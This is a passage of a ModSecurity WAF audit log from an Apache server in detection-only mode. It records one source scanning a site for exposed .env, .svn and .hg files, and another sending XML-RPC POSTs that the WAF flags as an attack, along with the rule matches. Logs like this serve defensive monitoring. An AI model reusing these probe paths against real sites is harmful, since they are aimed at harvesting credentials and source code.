"/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.env.backup"] [unique_id "aE81HWBSQiWwwCa-v2QEDAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021405271923 676560 (- - -) Stopwatch2: 1750021405271923 676560; combined=1755, p1=392, p2=1232, p3=0, p4=0, p5=131, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --12a3a618-Z-- --b2849b62-A-- [16/Jun/2025:02:33:29.680747 +0530] aE81IFfWRcme38U-qk7p0gAAAAI 185.177.72.210 58610 127.0.0.1 7081 --b2849b62-B-- GET /flask_test_uploads/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b2849b62-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2fc40d0d3a86a4f30bc52e0db742386b1750021409; expires=Sun, 15 Jun 2025 22:03:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b2849b62-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/flask_test_uploads/.env"] [unique_id "aE81IFfWRcme38U-qk7p0gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021408990053 690769 (- - -) Stopwatch2: 1750021408990053 690769; combined=2587, p1=538, p2=1949, p3=0, p4=0, p5=99, sr=134, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b2849b62-Z-- --470cbc63-A-- [16/Jun/2025:02:33:34.728717 +0530] aE81JnwizUED0-SK4eRJJgAAAAE 185.177.72.210 40858 127.0.0.1 7081 --470cbc63-B-- GET /settings/.svn/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --470cbc63-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=986f6b5b89874058a81254eede864a8b1750021414; expires=Sun, 15 Jun 2025 22:03:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --470cbc63-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.svn/"] [unique_id "aE81JnwizUED0-SK4eRJJgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021414063272 665507 (- - -) Stopwatch2: 1750021414063272 665507; combined=1918, p1=381, p2=1444, p3=0, p4=0, p5=92, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --470cbc63-Z-- --5bdfb97b-A-- [16/Jun/2025:02:33:37.399755 +0530] aE81KHwizUED0-SK4eRJJwAAAAE 185.177.72.210 40942 127.0.0.1 7081 --5bdfb97b-B-- GET /.hg/store/data/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5bdfb97b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4a9d1142bc7fe59e9ec202a713f6b0331750021417; expires=Sun, 15 Jun 2025 22:03:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5bdfb97b-H-- Message: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.hg/store/data/"] [unique_id "aE81KHwizUED0-SK4eRJJwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021416732825 667011 (- - -) Stopwatch2: 1750021416732825 667011; combined=1940, p1=388, p2=1439, p3=0, p4=0, p5=113, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5bdfb97b-Z-- --8dd1205d-A-- [16/Jun/2025:02:33:38.377686 +0530] aE81KdxCjYf3vhjKXItwfwAAAA8 185.177.72.210 41002 127.0.0.1 7081 --8dd1205d-B-- GET /:10000/api/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8dd1205d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e79472c4a0c918e093d7351b33b9e7dd1750021418; expires=Sun, 15 Jun 2025 22:03:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8dd1205d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/api/.env.local"] [unique_id "aE81KdxCjYf3vhjKXItwfwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021417722138 655612 (- - -) Stopwatch2: 1750021417722138 655612; combined=2180, p1=432, p2=1654, p3=0, p4=0, p5=93, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8dd1205d-Z-- --2fe9a96e-A-- [16/Jun/2025:02:33:42.077589 +0530] aE81LYv0YhcYGG7mzIpngQAAABU 185.177.72.210 34202 127.0.0.1 7081 --2fe9a96e-B-- GET /:8443/symfony/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2fe9a96e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=05e340b45e95fa4ca35d6c1cc1101cf21750021421; expires=Sun, 15 Jun 2025 22:03:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2fe9a96e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/symfony/.env"] [unique_id "aE81LYv0YhcYGG7mzIpngQAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021421367899 709753 (- - -) Stopwatch2: 1750021421367899 709753; combined=1986, p1=465, p2=1429, p3=0, p4=0, p5=91, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2fe9a96e-Z-- --992dba0e-A-- [16/Jun/2025:02:33:50.861751 +0530] aE81NU-pZ3B--SoGku856wAAABE 128.199.112.101 39304 127.0.0.1 7081 --992dba0e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 539 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --992dba0e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --992dba0e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE81NU-pZ3B--SoGku856wAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021429906790 955017 (- - -) Stopwatch2: 1750021429906790 955017; combined=2593, p1=414, p2=1771, p3=49, p4=65, p5=180, sr=116, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --992dba0e-Z-- --b81fb333-A-- [16/Jun/2025:02:33:51.809548 +0530] aE81N1fWRcme38U-qk7p3AAAAAI 185.177.72.210 39350 127.0.0.1 7081 --b81fb333-B-- GET /:10000/administrateur/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b81fb333-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=77c4a61b797fb3f7469d88a365866e2b1750021431; expires=Sun, 15 Jun 2025 22:03:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b81fb333-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/administrateur/.env.staging"] [unique_id "aE81N1fWRcme38U-qk7p3AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021431074007 735604 (- - -) Stopwatch2: 1750021431074007 735604; combined=2050, p1=436, p2=1515, p3=0, p4=0, p5=98, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b81fb333-Z-- --e36ec765-A-- [16/Jun/2025:02:33:52.813535 +0530] aE81OE-pZ3B--SoGku857AAAABE 185.177.72.210 39398 127.0.0.1 7081 --e36ec765-B-- GET /:8080/admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e36ec765-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b852ee5d21bb089ed52f0af7a9a42e41750021432; expires=Sun, 15 Jun 2025 22:03:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e36ec765-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/admin/.env"] [unique_id "aE81OE-pZ3B--SoGku857AAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021432145422 668176 (- - -) Stopwatch2: 1750021432145422 668176; combined=1787, p1=367, p2=1316, p3=0, p4=0, p5=103, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e36ec765-Z-- --9399f17f-A-- [16/Jun/2025:02:33:53.825479 +0530] aE81OYl8S04UZ4l67-naRAAAAAk 185.177.72.210 39486 127.0.0.1 7081 --9399f17f-B-- GET /:9000/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9399f17f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e7fac08fa7bb3e563f49bf2ce84abfec1750021433; expires=Sun, 15 Jun 2025 22:03:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9399f17f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/configurationtion/.env"] [unique_id "aE81OYl8S04UZ4l67-naRAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021433135867 689789 (- - -) Stopwatch2: 1750021433135867 689789; combined=1646, p1=378, p2=1177, p3=0, p4=0, p5=91, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9399f17f-Z-- --7ca8664b-A-- [16/Jun/2025:02:33:56.781782 +0530] aE81PNxCjYf3vhjKXItwiQAAAA8 185.177.72.210 39640 127.0.0.1 7081 --7ca8664b-B-- GET /:8008/vendor/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7ca8664b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=96b2be00ae042f0fd22e6d0abfdac3411750021436; expires=Sun, 15 Jun 2025 22:03:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7ca8664b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/vendor/laravel/.env"] [unique_id "aE81PNxCjYf3vhjKXItwiQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021436139867 642022 (- - -) Stopwatch2: 1750021436139867 642022; combined=1909, p1=395, p2=1423, p3=0, p4=0, p5=90, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7ca8664b-Z-- --e36ec765-A-- [16/Jun/2025:02:34:01.903020 +0530] aE81QYv0YhcYGG7mzIpnjgAAABU 185.177.72.210 58610 127.0.0.1 7081 --e36ec765-B-- GET /:8880/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e36ec765-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2fe5d365eaf320044e80a161c226f7c61750021441; expires=Sun, 15 Jun 2025 22:04:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e36ec765-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.backup"] [unique_id "aE81QYv0YhcYGG7mzIpnjgAAABU"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.backup"] [unique_id "aE81QYv0YhcYGG7mzIpnjgAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021441209175 693909 (- - -) Stopwatch2: 1750021441209175 693909; combined=1647, p1=344, p2=1192, p3=0, p4=0, p5=111, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e36ec765-Z-- --c90e2756-A-- [16/Jun/2025:02:34:18.025767 +0530] aE81Uc0RsCO0eBtdhx7AuAAAAAg 185.177.72.210 52366 127.0.0.1 7081 --c90e2756-B-- GET /:9000/api/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c90e2756-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=40642afde0682d01b01b2df7950e3eec1750021457; expires=Sun, 15 Jun 2025 22:04:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c90e2756-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/api/.env.local"] [unique_id "aE81Uc0RsCO0eBtdhx7AuAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021457350624 675206 (- - -) Stopwatch2: 1750021457350624 675206; combined=2048, p1=417, p2=1528, p3=0, p4=0, p5=102, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c90e2756-Z-- --79b86672-A-- [16/Jun/2025:02:34:49.974744 +0530] aE81cXwizUED0-SK4eRJSgAAAAE 128.199.112.101 42342 127.0.0.1 7081 --79b86672-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --79b86672-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --79b86672-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE81cXwizUED0-SK4eRJSgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021489030989 943843 (- - -) Stopwatch2: 1750021489030989 